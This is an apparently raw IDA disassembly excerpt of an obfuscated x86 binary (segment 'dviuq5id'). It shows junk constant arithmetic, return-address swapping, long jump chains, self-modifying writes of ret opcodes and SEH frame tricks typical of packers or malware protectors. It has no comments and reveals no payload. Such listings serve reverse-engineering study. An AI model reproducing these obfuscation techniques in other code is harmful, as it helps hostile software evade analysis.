; START	OF FUNCTION CHUNK FOR sub_439E0C

loc_4582EC:				; CODE XREF: sub_439E0C+5A7Aj
		jnz	loc_444673
		jmp	loc_4461EC
; END OF FUNCTION CHUNK	FOR sub_439E0C
; ---------------------------------------------------------------------------
		pop	edx
		mov	eax, [esp]
		push	edx
		push	ecx
		push	0A24F8AFEh
		pop	ecx
		sub	ecx, 7343C9DDh
		and	ecx, 9FF661A0h
		jmp	loc_43E167
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_182. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44FD8E

loc_458315:				; CODE XREF: sub_44FD8E+6j
		jmp	loc_43EEF7
; END OF FUNCTION CHUNK	FOR sub_44FD8E
; ---------------------------------------------------------------------------

loc_45831A:				; CODE XREF: dviuq5id:0043D5AEj
		jmp	loc_43A4E3
; ---------------------------------------------------------------------------

loc_45831F:				; CODE XREF: dviuq5id:0043AEE0j
		xchg	edi, [ebx]

; =============== S U B	R O U T	I N E =======================================



sub_458321	proc near		; CODE XREF: sub_457798p
		xchg	ecx, [esp+0]
		pop	ecx
		pop	edx
		push	offset loc_459CB2
		jmp	nullsub_318
sub_458321	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_458330	proc near		; CODE XREF: sub_43AEAA:loc_43D0DCp
					; dviuq5id:0043DEC2j ...

; FUNCTION CHUNK AT 00439D37 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043AA7F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C005 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D2AE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00448525 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0045099D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00452C86 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00456650 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00458072 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 004590DB SIZE 00000026 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jnz	loc_458083
		jmp	loc_43AA7F
sub_458330	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_458346:				; CODE XREF: dviuq5id:0044C9C9j
					; dviuq5id:loc_4597A7j
		rol	edx, 0Ch
		jb	loc_447B7F

loc_45834F:				; CODE XREF: dviuq5id:0044CAF8j
		jmp	loc_43FD94
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F83A

loc_458354:				; CODE XREF: sub_43F83A+7j
		jmp	loc_440E24
; END OF FUNCTION CHUNK	FOR sub_43F83A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E2D4

loc_458359:				; CODE XREF: sub_44E2D4-14B25j
		jmp	loc_444D4C
; END OF FUNCTION CHUNK	FOR sub_44E2D4
; ---------------------------------------------------------------------------
		pushf
		jle	loc_44E695
		jmp	loc_447B7D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4486F9

loc_45836A:				; CODE XREF: sub_4486F9:loc_4568FDj
		xor	ecx, 0FE51C993h
		add	ecx, 456132D4h
		xchg	ecx, [esp+0Ch+var_C]
		jmp	sub_448154
; END OF FUNCTION CHUNK	FOR sub_4486F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439013

loc_45837E:				; CODE XREF: sub_439013+C18Bj
		and	edx, 0BBCD8FE3h
; END OF FUNCTION CHUNK	FOR sub_439013
; START	OF FUNCTION CHUNK FOR sub_43D181

loc_458384:				; CODE XREF: sub_43D181:loc_454D2Ej
		xor	edx, 3FF044C8h
		add	edx, ebp
		call	sub_43F3F1
; END OF FUNCTION CHUNK	FOR sub_43D181
; START	OF FUNCTION CHUNK FOR sub_443ECE

loc_458391:				; CODE XREF: sub_443ECE+1ED4j
		jmp	loc_44D12E
; END OF FUNCTION CHUNK	FOR sub_443ECE
; ---------------------------------------------------------------------------

loc_458396:				; CODE XREF: dviuq5id:loc_44E3F1j
		push	edi
		push	719EF972h
		pop	edi
		and	edi, 38D5CECEh
		add	edi, 0CFAF3DCBh
		xchg	edi, [esp]
		jmp	sub_43A201
; ---------------------------------------------------------------------------

loc_4583B1:				; CODE XREF: dviuq5id:00448AF5j
		jnp	nullsub_351

loc_4583B7:				; CODE XREF: dviuq5id:loc_442019j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_44422D
		jmp	loc_4492FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440A7F

loc_4583C8:				; CODE XREF: sub_440A7F+Cj
		mov	[ebp+var_C], eax
		xor	eax, eax
		mov	[ebp+var_8], eax

loc_4583D0:				; CODE XREF: sub_451F1E:loc_441E58j
		jnb	loc_44BCAA
		call	sub_451F1E

loc_4583DB:				; CODE XREF: dviuq5id:loc_45011Cj
		rol	edi, 1Dh
		add	edi, 3200CA3Ah
		or	edi, 2F385CA9h
		jnz	loc_45A659
		not	edi
		push	ebx
		shl	esi, 13h
		jmp	loc_45A659
; END OF FUNCTION CHUNK	FOR sub_440A7F

; =============== S U B	R O U T	I N E =======================================



sub_4583FB	proc near		; CODE XREF: dviuq5id:0043C02Ej
					; sub_44875D+1EF7p

; FUNCTION CHUNK AT 00452A39 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	eax
		mov	eax, edx
		call	sub_442503
		mov	eax, [esp+0]
		call	sub_44E3BA
		jmp	loc_452A39
sub_4583FB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F236

loc_458414:				; CODE XREF: sub_43F236:loc_4502A0j
		jnz	loc_45774B
		jmp	loc_4417CC
; END OF FUNCTION CHUNK	FOR sub_43F236
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_457A3C

loc_45841F:				; CODE XREF: sub_457A3C:loc_455F4Bj
		push	eax
		push	ebx
		push	85BF4A11h
		pop	ebx
		sub	ebx, 9EFEC9C3h
		cmp	ebx, 0BFD96E31h
		jmp	loc_45236D
; END OF FUNCTION CHUNK	FOR sub_457A3C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_114. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_458439:				; CODE XREF: dviuq5id:0045481Ej
		js	loc_45333E

; =============== S U B	R O U T	I N E =======================================



sub_45843F	proc near		; CODE XREF: dviuq5id:0043954Fp
		xchg	esi, [esp+0]
		pop	esi
		mov	ds:dword_44DE70, eax
		jmp	loc_4529FC
sub_45843F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_45844D	proc near		; CODE XREF: sub_441C54j

; FUNCTION CHUNK AT 0043B1E2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043DB42 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F46D SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00440F60 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00444E15 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004463AD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044933D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00449EB2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A29E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B327 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00450A61 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004529E3 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00457F01 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0045A2D5 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_44DE70, 0
		jmp	loc_4463AD
sub_45844D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_45845D:				; CODE XREF: dviuq5id:0043D0AFj
		not	eax
		jmp	loc_44BABD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4394E7

loc_458464:				; CODE XREF: sub_4394E7:loc_43B775j
		pop	ecx
		or	eax, 0D857F65Fh
		add	eax, 0D1C8A077h
		xor	eax, 0DF3EC926h
		jmp	loc_43EC74
; END OF FUNCTION CHUNK	FOR sub_4394E7
; ---------------------------------------------------------------------------

loc_45847C:				; CODE XREF: dviuq5id:0044944Dj
		jl	loc_44801E
		mov	edx, [ebx]

loc_458484:				; CODE XREF: dviuq5id:0043D32Fj
		rol	ecx, 1Ah
		jmp	loc_44253B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4574E7

loc_45848C:				; CODE XREF: sub_4574E7:loc_44ED7Aj
		jnz	loc_458DE0
		jmp	loc_44A023
; END OF FUNCTION CHUNK	FOR sub_4574E7
; ---------------------------------------------------------------------------

locret_458497:				; CODE XREF: dviuq5id:loc_43D808j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446B53

loc_458498:				; CODE XREF: sub_446B53+CC46j
		jmp	loc_44585A
; END OF FUNCTION CHUNK	FOR sub_446B53
; ---------------------------------------------------------------------------
		mov	eax, 469EF90Dh
		push	ecx
		call	sub_43B6C3

loc_4584A8:				; CODE XREF: dviuq5id:loc_44140Aj
					; dviuq5id:0044141Dj
		xor	edx, 0C975043Eh
		push	edx
		pushf
		push	81AA661Bh
		jmp	loc_43AD5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_457A3C

loc_4584BA:				; CODE XREF: sub_457A3C-DF08j
		or	[ecx+edx], al
		mov	eax, [ebp-0Ch]
		push	offset sub_44549E
		jmp	nullsub_523
; END OF FUNCTION CHUNK	FOR sub_457A3C

; =============== S U B	R O U T	I N E =======================================



sub_4584CA	proc near		; CODE XREF: dviuq5id:00443E4Dp
					; dviuq5id:0045A371j

; FUNCTION CHUNK AT 0043A2AC SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00445CCE SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0044AE92 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0044D68F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044FC47 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004505EB SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004534E9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004536FA SIZE 0000000B BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	esi
		mov	esi, edx
		xchg	esi, [esp+0]
		jmp	loc_43A2AC
sub_4584CA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44395C

loc_4584D9:				; CODE XREF: sub_44395C-4301j
		push	0A4BE7DDh
		pop	edx
		and	edx, 6F22F797h
		add	edx, 0EDCFE924h
		or	edx, 0C546270Ch
		and	edx, 0D5047BE1h
		jmp	loc_44D005
; END OF FUNCTION CHUNK	FOR sub_44395C
; ---------------------------------------------------------------------------

loc_4584FC:				; CODE XREF: dviuq5id:00453398j
		xchg	eax, [ebp+0]

; =============== S U B	R O U T	I N E =======================================



sub_4584FF	proc near		; CODE XREF: sub_44CB39:loc_444404p

arg_0		= dword	ptr  4

		xchg	eax, [esp+0]
		pop	eax
		xchg	ebx, [esp-4+arg_0]
		push	edi
		call	sub_44E810

loc_45850C:				; CODE XREF: sub_45A0CF+3j
		jmp	sub_43CCD1
sub_4584FF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AB42

loc_458511:				; CODE XREF: sub_43AB42+12j
		jmp	nullsub_322
; END OF FUNCTION CHUNK	FOR sub_43AB42
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_253. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

locret_458517:				; CODE XREF: dviuq5id:loc_44894Dj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_458518:				; CODE XREF: sub_43FA59+173B6j
		jmp	loc_43FC7E
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------

loc_45851D:				; CODE XREF: dviuq5id:004568EDj
		jmp	locret_43AFDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C597

loc_458522:				; CODE XREF: sub_43C597+12j
		jmp	loc_44609C
; END OF FUNCTION CHUNK	FOR sub_43C597

; =============== S U B	R O U T	I N E =======================================



sub_458527	proc near		; CODE XREF: dviuq5id:004479B1j
					; sub_457574+Cp

; FUNCTION CHUNK AT 004430D7 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044F06B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0045A63E SIZE 00000008 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		pop	edi
		rol	eax, 2
		add	eax, 0F5B6D7C4h
		jmp	loc_45A63E
sub_458527	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_45853A	proc near		; CODE XREF: dviuq5id:0043B0C8j
					; dviuq5id:00449C99p
		xchg	ecx, [esp+0]
		pop	ecx
		mov	ds:off_41D1E8, eax
		lea	eax, loc_43ADAD
		mov	byte ptr [eax],	0C3h
		jmp	loc_43ADAD
sub_45853A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		not	edi
		jmp	sub_45A3B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442913

loc_458559:				; CODE XREF: sub_442913-839Cj
		call	sub_44F88A
; END OF FUNCTION CHUNK	FOR sub_442913
; START	OF FUNCTION CHUNK FOR sub_443328

loc_45855E:				; CODE XREF: sub_443328+6j
		jmp	loc_43A30E
; END OF FUNCTION CHUNK	FOR sub_443328
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44864B

loc_458563:				; CODE XREF: sub_44864B-DB45j
		jmp	loc_452CDC
; END OF FUNCTION CHUNK	FOR sub_44864B

; =============== S U B	R O U T	I N E =======================================



sub_458568	proc near		; DATA XREF: sub_43B80C+F4CEo
		push	0E3A60E1Ch
		and	eax, 0FF20CE27h
		jmp	loc_43FE51
sub_458568	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446682

loc_458578:				; CODE XREF: sub_446682:loc_43D3C1j
		cmp	eax, esi
		jmp	loc_44477B
; END OF FUNCTION CHUNK	FOR sub_446682
; ---------------------------------------------------------------------------
		mov	eax, 0D59435E2h
		push	esi
		push	0BCE844CEh
		pop	esi
		add	esi, 0E0615A95h
		jnz	loc_44FD0C

loc_458597:				; CODE XREF: dviuq5id:004481C7j
		jmp	loc_44D69A
; ---------------------------------------------------------------------------
		dd 401A8A0Fh, 0C7E9FFFEh
		db 0CCh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FBEA

loc_4585A7:				; CODE XREF: sub_43FBEA:loc_454F7Bj
		lea	eax, nullsub_11
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_11
; END OF FUNCTION CHUNK	FOR sub_43FBEA
; ---------------------------------------------------------------------------
		xchg	edi, [esp]
		mov	edx, edi
		pop	edi
		push	offset sub_44CF18
		jmp	loc_43913F
; ---------------------------------------------------------------------------

loc_4585C5:				; CODE XREF: dviuq5id:0043CB00j
		mov	[esi], eax
		push	0E83AAEE9h
		jmp	loc_44C40C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440C61

loc_4585D1:				; CODE XREF: sub_440C61-3DA0j
		adc	eax, edx
		or	edi, 54631E83h

loc_4585D9:				; CODE XREF: sub_440C61:loc_43E657j
		push	edx
		mov	edx, eax
		jmp	loc_43A328
; END OF FUNCTION CHUNK	FOR sub_440C61
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_350. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C9A9

loc_4585E2:				; CODE XREF: sub_43C9A9+1907Aj
		jmp	sub_45989F
; END OF FUNCTION CHUNK	FOR sub_43C9A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443ECE

loc_4585E7:				; CODE XREF: sub_443ECE+529Bj
		jmp	sub_4463B7
; END OF FUNCTION CHUNK	FOR sub_443ECE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455B54

loc_4585EC:				; CODE XREF: sub_455B54-152D2j
					; sub_454267:loc_454335j ...
		pop	large dword ptr	fs:0
		add	esp, 4
		retn
; END OF FUNCTION CHUNK	FOR sub_455B54
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444F0F

loc_4585F7:				; CODE XREF: sub_444F0F+10j
		jmp	loc_43EC28
; END OF FUNCTION CHUNK	FOR sub_444F0F

; =============== S U B	R O U T	I N E =======================================



sub_4585FC	proc near		; CODE XREF: sub_45714A:loc_4445FFp
					; sub_45714A+6p

; FUNCTION CHUNK AT 0043DE2C SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00444B40 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044CE02 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044D17D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044F614 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0045036D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00452D12 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00454485 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00454F8B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00458D5A SIZE 00000011 BYTES

		push	large dword ptr	fs:0
		mov	large fs:0, esp
		jmp	loc_454F8B
sub_4585FC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DB9B

loc_45860F:				; CODE XREF: sub_44DB9B+10j
		xchg	esi, [esp+0]
		call	sub_453C98
		call	sub_459194
		xor	eax, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_44DB9B

; =============== S U B	R O U T	I N E =======================================



sub_45861F	proc near		; CODE XREF: sub_441F76+5p
					; dviuq5id:00454CE1j

; FUNCTION CHUNK AT 0044A8F8 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044C690 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		xor	eax, 744106F5h
		mov	ds:dword_443AB8, eax

loc_45862F:				; CODE XREF: dviuq5id:0044E333j
					; sub_451EEC-11F7j
		xor	eax, 744106F5h
		jo	sub_44D0F2
		sub	eax, 14884E21h
		jmp	loc_44C690
sub_45861F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B558

loc_458646:				; CODE XREF: sub_44B558:loc_4555F6j
		jz	loc_44047D
		jmp	loc_446DBC
; END OF FUNCTION CHUNK	FOR sub_44B558
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448DB7

loc_458651:				; CODE XREF: sub_448DB7+18j
		call	sub_454117
		adc	ecx, eax
		jmp	sub_45A587
; END OF FUNCTION CHUNK	FOR sub_448DB7
; ---------------------------------------------------------------------------

loc_45865D:				; CODE XREF: dviuq5id:loc_448E19j
		rol	edi, 19h
		xor	edi, 331DF44Bh
		test	eax, edi
		pop	edi
		jz	loc_44972F
		jmp	loc_43D9E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_458674:				; CODE XREF: sub_4525D0:loc_43ADD9j
		cmp	edx, 6C9011D5h
		jmp	loc_44F8E0
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A4E3

loc_45867F:				; CODE XREF: sub_44A4E3:loc_439DB9j
		jz	loc_439B49
		jmp	loc_453B72
; END OF FUNCTION CHUNK	FOR sub_44A4E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44623D

loc_45868A:				; CODE XREF: sub_44623D+6j
		pop	eax
		rol	eax, 11h
		add	eax, 2D1D3FA9h
		xchg	eax, [esp+4+var_4]
		jmp	loc_44ED3A
; END OF FUNCTION CHUNK	FOR sub_44623D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AB42

loc_45869C:				; CODE XREF: sub_43AB42:loc_4442E4j
		xor	eax, 637A7E46h
		call	sub_453642
		mov	ds:off_41D140, eax
		lea	eax, sub_43AB42
		mov	byte ptr [eax],	0C3h
		jmp	loc_4481D1
; END OF FUNCTION CHUNK	FOR sub_43AB42
; ---------------------------------------------------------------------------
		call	nullsub_479
		jmp	loc_44B69B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444BE4

loc_4586C5:				; CODE XREF: sub_444BE4:loc_45543Ej
		pop	edx
		rol	edx, 7
		and	edx, 0F197BF9Bh
		sub	edx, 5CFE5261h
		add	edx, 7D423399h
		jmp	loc_454F86
; END OF FUNCTION CHUNK	FOR sub_444BE4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A101

loc_4586E0:				; CODE XREF: sub_43A101+11940j
		pop	ebp
		push	ds:dword_441E8C
		retn
; END OF FUNCTION CHUNK	FOR sub_43A101
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C3D8

loc_4586E8:				; CODE XREF: sub_43C3D8+9D35j
		mov	eax, [ebp-1Ch]
		mov	al, [eax]
		mov	edx, [ebp-20h]
		mov	[edx], al
		inc	dword ptr [ebp-20h]
		jmp	loc_459A04
; END OF FUNCTION CHUNK	FOR sub_43C3D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A246

loc_4586FA:				; CODE XREF: sub_44A246+6j
		pop	edx
		or	edx, 20CE9AF9h
		rol	edx, 1Ah

loc_458704:				; CODE XREF: sub_440898:loc_448D4Dj
		add	edx, 0BA5EAB1h
		xchg	edx, [esp+4+var_4]
		jmp	loc_452ABB
; END OF FUNCTION CHUNK	FOR sub_44A246

; =============== S U B	R O U T	I N E =======================================



sub_458712	proc near		; DATA XREF: sub_450686+3FA8o

; FUNCTION CHUNK AT 0044E5AB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00453A23 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00456C80 SIZE 0000000A BYTES

		cmp	byte ptr [eax],	0F1h
		jnz	loc_453A23
		jmp	loc_44E5AB
sub_458712	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_458720:				; CODE XREF: dviuq5id:004448EBj
		sbb	esi, 6690ADAFh
		jns	loc_44CC66
; START	OF FUNCTION CHUNK FOR sub_4463B7

loc_45872C:				; CODE XREF: sub_4463B7:loc_4448D3j
		and	edi, 94B74CA4h
		add	edi, 1F8187h
		xchg	edi, [esp+4+var_4]
		jmp	sub_453642
; END OF FUNCTION CHUNK	FOR sub_4463B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4582AD

loc_458740:				; CODE XREF: sub_4582AD-3E65j
		xor	eax, 5A939266h
		add	eax, 6C127278h
		add	eax, ebp
		add	eax, 19A78C54h
		jmp	loc_43F13D
; END OF FUNCTION CHUNK	FOR sub_4582AD
; ---------------------------------------------------------------------------
		shl	ebp, 14h
		rol	edi, 4
		jmp	sub_451B18
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_38. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A133

loc_458765:				; CODE XREF: sub_44A133-55FDj
		jmp	sub_4590B1
; END OF FUNCTION CHUNK	FOR sub_44A133
; ---------------------------------------------------------------------------

loc_45876A:				; DATA XREF: sub_44CE73+5o
		or	eax, eax
		jnz	loc_43A6E1
		jmp	loc_441803
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_458777:				; CODE XREF: sub_43FA59:loc_447DC5j
		cmp	dword ptr [ebp-4], 2
		jnz	loc_4569CE
		jmp	loc_44A4C1
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------

loc_458786:				; CODE XREF: dviuq5id:00441FFFj
		xchg	ebp, ebx
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_458788:				; CODE XREF: sub_441DDA:loc_441FE8j
		xor	eax, 0DCCC17CAh
		add	eax, ebp
		push	ecx
		push	96D8D0E4h
		pop	ecx
		or	ecx, 3499D87h
		sub	ecx, 8E53CEECh
		jmp	loc_446273
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F9E7

loc_4587A8:				; CODE XREF: sub_43F9E7:loc_44C5B4j
		pop	ecx
		and	ecx, 0F8281D9Dh
		add	ecx, 901BB1D7h
		xchg	ecx, [esp+30h+var_30]
		jmp	loc_455B1D
; END OF FUNCTION CHUNK	FOR sub_43F9E7
; ---------------------------------------------------------------------------

loc_4587BD:				; CODE XREF: dviuq5id:00440F16j
		jz	loc_449E43
		jmp	loc_4579B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BE30

loc_4587C8:				; CODE XREF: sub_43BE30+1AFBEj
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-1Ch]
		call	sub_45799F

loc_4587D3:				; CODE XREF: sub_44267B:loc_44269Dj
		jmp	loc_44205F
; END OF FUNCTION CHUNK	FOR sub_43BE30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4572AA

loc_4587D8:				; CODE XREF: sub_4572AA-1976Ej
		jmp	nullsub_333
; END OF FUNCTION CHUNK	FOR sub_4572AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459804

loc_4587DD:				; CODE XREF: sub_459804-CA1Fj
		jb	loc_4519E7
		jmp	loc_454A0F
; END OF FUNCTION CHUNK	FOR sub_459804
; ---------------------------------------------------------------------------

loc_4587E8:				; CODE XREF: dviuq5id:00442F7Cj
		sub	edi, eax
		shl	ebx, 1Fh
		pushf
		or	eax, edx
; START	OF FUNCTION CHUNK FOR sub_43BD72

loc_4587F0:				; CODE XREF: sub_43BD72:loc_442F60j
		or	edi, 0C50217C5h
		add	edi, 9061163Ah
		jmp	loc_44A664
; END OF FUNCTION CHUNK	FOR sub_43BD72
; ---------------------------------------------------------------------------
		mov	edx, [ebp+0]
		jmp	sub_43A1AA
; ---------------------------------------------------------------------------
		and	ebp, esi
		jb	loc_442130
		adc	edx, 75C27F0Ah
		sbb	ecx, eax
		jmp	loc_454A71
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F4F8

loc_45881E:				; CODE XREF: sub_43F4F8:loc_455F46j
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_4510C1
		jmp	loc_443444
; END OF FUNCTION CHUNK	FOR sub_43F4F8
; ---------------------------------------------------------------------------
		shl	eax, 2
		jmp	loc_441818
; ---------------------------------------------------------------------------

loc_458835:				; CODE XREF: dviuq5id:004508AEj
					; DATA XREF: sub_449B7F+6D25o
		push	556C01ECh
		xchg	ecx, [esp]
		mov	eax, ecx
		pop	ecx
		xor	eax, 0BCC002E5h
		sub	eax, 0BA1FC2AEh
		rol	eax, 1Ch
		and	eax, 4ACFB2E8h
		jmp	loc_455B93
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_212. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44514D

loc_45885B:				; CODE XREF: sub_44514D+B89Dj
		jmp	loc_44C187
; END OF FUNCTION CHUNK	FOR sub_44514D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C80D

loc_458860:				; CODE XREF: sub_44C80D+C293j
		jge	loc_448D6D
		js	loc_4432DF

loc_45886C:				; CODE XREF: dviuq5id:loc_456818j
		call	sub_456F43
		mov	edx, 20413B0Fh
		call	sub_449EB7
		push	ebx
		push	eax
		jmp	loc_452885
; END OF FUNCTION CHUNK	FOR sub_44C80D

; =============== S U B	R O U T	I N E =======================================



sub_458882	proc near		; DATA XREF: dviuq5id:004506EDo
		mov	ds:dword_448960, eax
		retn
sub_458882	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAE1

loc_458889:				; CODE XREF: sub_43FAE1+DC12j
		rol	eax, 1Ah
		push	esi
		mov	esi, eax
		xchg	esi, [esp+4+var_4]
		call	sub_44E3BA
		jmp	nullsub_335
; END OF FUNCTION CHUNK	FOR sub_43FAE1

; =============== S U B	R O U T	I N E =======================================



sub_45889C	proc near		; CODE XREF: dviuq5id:00442007p
					; dviuq5id:00453068j

; FUNCTION CHUNK AT 00443664 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447670 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0045737F SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		add	eax, [ebp-4]
		xor	edx, edx
		jmp	loc_443664
sub_45889C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CBD5

loc_4588AA:				; CODE XREF: sub_43CBD5+8BE9j
		jz	loc_455758
		jmp	loc_44DF20
; END OF FUNCTION CHUNK	FOR sub_43CBD5
; ---------------------------------------------------------------------------

loc_4588B5:				; CODE XREF: dviuq5id:00450545j
		jnz	loc_4506A2
		jmp	loc_457932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459385

